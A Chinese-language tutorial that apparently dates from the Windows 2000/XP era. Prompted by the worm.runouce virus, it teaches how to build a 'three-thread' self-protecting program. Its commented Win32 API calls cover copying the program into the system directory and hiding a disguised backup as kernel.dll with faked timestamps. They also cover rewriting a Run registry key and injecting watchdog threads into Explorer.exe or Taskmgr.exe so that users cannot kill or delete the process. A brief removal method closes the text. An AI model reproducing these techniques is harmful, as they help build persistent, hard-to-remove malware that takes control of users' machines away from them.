一、前言
中國黑客(worm.runouce)病毒在國內出現以後,各大反病毒公司都對其進行了“仔細”的分析,得出一個結論:“中國黑客”發現了全球首創的“三線程”結構。這是某公司對外的宣傳詞,我個人對病毒沒什麼研究,並且我對worm.runouce沒有任何的個人看法,不過我可以確信的是很多反病毒公司往往在誇大事實,目的只有一個:讓更多的用戶覺得某某病毒很可怕,讓更多的用戶相信只有某某公司的殺毒軟件才可以徹底將病毒清除掉。其實三線程並沒有好高深的技術,不過ideal is wonderful。現在就讓我們一步步揭開三線程程序開發的神秘面紗。
二、三線程程序開發思路
在操作系統中,進程是存儲器,外設等資源的分配單位,同時也是處理器調度的對象,但為了提高進程內的並發性,windows系統中引入了線程這個概念(在很多其他操作系統中同樣也有線程的概念,由於在2001年微軟停止了window9x內核的研發,所以本文只針對windowx2000/xp操作系統),這時系統把線程作為處理器調度的對象,一個進程可以同時擁有多個並發的線程。通常情況下的簡單程序就只有一個主線程,它是在進程創建時自動生成的。我們可以將想要執行的代碼放在主線程裡,然後再生成兩個輔助線程,它們的功能就是實現對程序的保護功能,防止程序被用戶關閉或刪除。在此,稱我們的可執行文件的進程為主進程。
主線程需要完成的任務有三個,它們分別是准備工作,創建輔助線程和程序主要功能的實現。准備工作當然是為程序運行過程中所需要的一些部件做好准備,其中包括文件復制和保存,一般情況下是把可執行文件復制到系統目錄下。當然為了防止意外刪除,我們可以將程序的可執行文件備份,不過要注意修改一些屬性(文件類型,大小,日期,屬性),這樣就不容易被發現與我們的可執行文件有關聯了。創建輔助線程包括兩個線程,一個駐留在主進程體內,另一個通過創建遠程線程駐留到其他正在運行的進程體內。這兩個線程的功能就是監視其他進程或線程的運行情況,如果出現異常立即恢復。程序的主要功能就不用多說了,想干什麼就干什麼,一般是一些不想讓用戶關閉的程序。
駐留主進程體內的線程同時觀察注冊表和遠程進程的情況。它實時查詢注冊表裡 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run鍵下相關可執行文件的鍵值,如果被刪除就立即將其添加上。這就是對注冊表的實時監視,使得每次開機時都會運行我們的可執行文件。而另一個功能則是監視駐留在遠程進程體內輔助線程的運行情況,如果該線程被關閉,立即通過創建遠程線程將被關閉的線程駐留到特定的進程內。如果你知道了輔助線程是駐留在那個進程內的,你就可以將這個遠程進程關閉掉。但是我們還是可以將輔助線程駐留到其他的遠程進程內。至於選定哪個遠程進程,完全視你的心情而定。
駐留在遠程進程體內的輔助線程則監視主進程的運行情況,如果主進程被kill了,它會確認程序的可執行文件是否也被刪除掉了。如果系統目錄下的可執行文件不存在了,則用我們備份的文件恢復可執行文件,然後再重新啟動程序,這樣你在任務管理器裡怎麼也刪除不了主進程。由於我們是創建遠程線程,所以必須把線程的代碼和線程所需要的參數都復制到遠程進程的地址空間裡。這是因為在windows2000/xp環境下,訪問其他進程地址空間是違規的。我們把代碼和參數復制過去後,線程就完全在遠程進程的地址空間運行了。我們可以看到,通過兩個輔助線程,就很難把主進程關閉或刪除掉。
現在我們就以一個誘鼠器為例,來分析三線程的程序結構,如下圖:
|---------->-----------|
remote ---<--- T-mouse --->--- watch --->--- Registry
|------------------<--------------------|
其中T-mouse為主進程/主線程,remote為創建的遠程線程,watch為本地的輔助監視線程,Registry為注冊表文件。T-mouse創建remote和watch兩個線程,remote監視T-mouse主進程,watch監視注冊表文件和remote線程。
三、核心代碼分析
本文的程序僅針對windows2000/xp操作系統,程序中使用的UNICODE編碼。測試環境:Windows2000 + SP2 + VC6.0。整個程序分主線程main,本地輔助監視線程watch,遠程線程remote,還包括獲得進程ID的processtopid和創建遠程線程的createremote兩個自定義函數。
1.主線程:main
GetSystemDirectory(syspath,MAX_PATH);
//獲得操作系統的系統目錄;
FindFirstFile(tname,&fdata);
//查詢系統目錄下的T-mouse.exe是否存在;
CopyFile(curname,tname,TRUE);
//如果系統目錄下沒有,在將正在運行的程序復制到系統目錄下;
FindClose(ffhandle);
//在查詢完畢後,關閉相關句柄;
CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
//打開系統目錄下的備份文件kernel.dll;
SetFileTime(fchandle,&ftime,NULL,&ftime);
//修改kernel.dll的創建時間,修改時間;
SetFileAttributes(kname,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM );
//設置kernel.dll的屬性為只讀,系統及隱藏;
CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);
//創建駐留在主進程內的輔助監視線程
2.本地輔助監視線程:watch
RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);
//以查詢方式打開注冊表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run;
RegQueryValueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);
//查詢是否存在T-mouse的鍵值;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
//如果沒有相關鍵值,就以寫方式再次打開注冊表;
RegSetValueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);
//寫入我們想要的東西,系統每次啟動都會運行我們的可執行文件;
GetExitCodeThread(wethread,&exitcode);
//獲得遠程線程的運行情況,看是否為STILL_ACTIVE,如果不是則創建遠程線程;
3.遠程線程:remote
tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);
//以所有可能的訪問方式打開主進程,以便監視主進程的運行情況;
tWaitForSingleObject(erp->rpprocesshandle,INFINITE);
//等待直到主進程結束;
tWinExec(erp->rpwinexecname, 0);
//重新啟動我們的可執行文件;
4.獲得進程ID:processtopid
EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);
//列舉所有的進程
OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
//以查詢信息和讀取的方式打開進程
EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);
//獲得進程模塊的句柄
GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
//獲得特定模塊的名字,以備比較
5.創建遠程線程:createremote
OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
//PROCESS_CREATE_THREAD for CreateRemoteThread
//PROCESS_VM_OPERATION for VirtualAllocEx
//PROCESS_VM_WRITE for WriteProcessMemory
VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//在遠程進程中分配空間,以備將線程代碼置入其中;
WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);
//將遠程線程remote的代碼寫入到遠程進程的地址空間中
WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);
//將遠程線程所需的參數也寫入到遠程進程的地址空間中
CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
//創建遠程監視線程
四、小結與後記
我們已經看到,創建三線程就是為了更好的保護程序自身不被關閉和刪除。兩個輔助線程相互實時監視,如果監視對象被關閉了,就重新創建線程或進程。其實,在程序中我們選擇的遠程進程駐體為Explorer.exe和Taskmgr.exe。在通常情況下,如果用戶知道了遠程線程的駐體為資源管理器後,就會打開任務管理器來結束Explorer,這時我們再把遠程線程駐入到任務管理器中。也就是說,只要Explorer或Taskmgr有一個存在,就不可能結束主進程。如果有其他Kill進程的工具,你就可以將其關閉掉,只要資源管理器和任務管理器均不存在時,就沒有駐體來維持遠程進程。不過,如果我們選擇的遠程進程為隨機的,這就不容易發現了;如果我們選擇的遠程進程為系統文件(如smss.exe會話管理器),那麼你是不會安全的結束遠程線程,除非系統崩潰。
如何不用其他的工具將其關閉並刪除呢?你也可以進入到DOS或Safe模式下,將系統目錄下的可執行文件刪除,然後重啟系統。這時,就不會自動運行程序了,然後將注冊表裡RUN鍵下的相關鍵值,系統目錄下的備份文件及首次運行的可執行文件刪除就徹底清楚了。在調試程序時,為了對遠程線程的運行情況有所了解,我們使用了工具Dbgview.exe。
本文配套源碼